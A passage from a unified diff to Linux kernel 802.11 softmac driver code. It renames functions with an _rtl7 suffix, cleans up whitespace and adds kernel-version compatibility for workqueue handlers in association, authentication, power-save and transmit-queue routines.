0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct 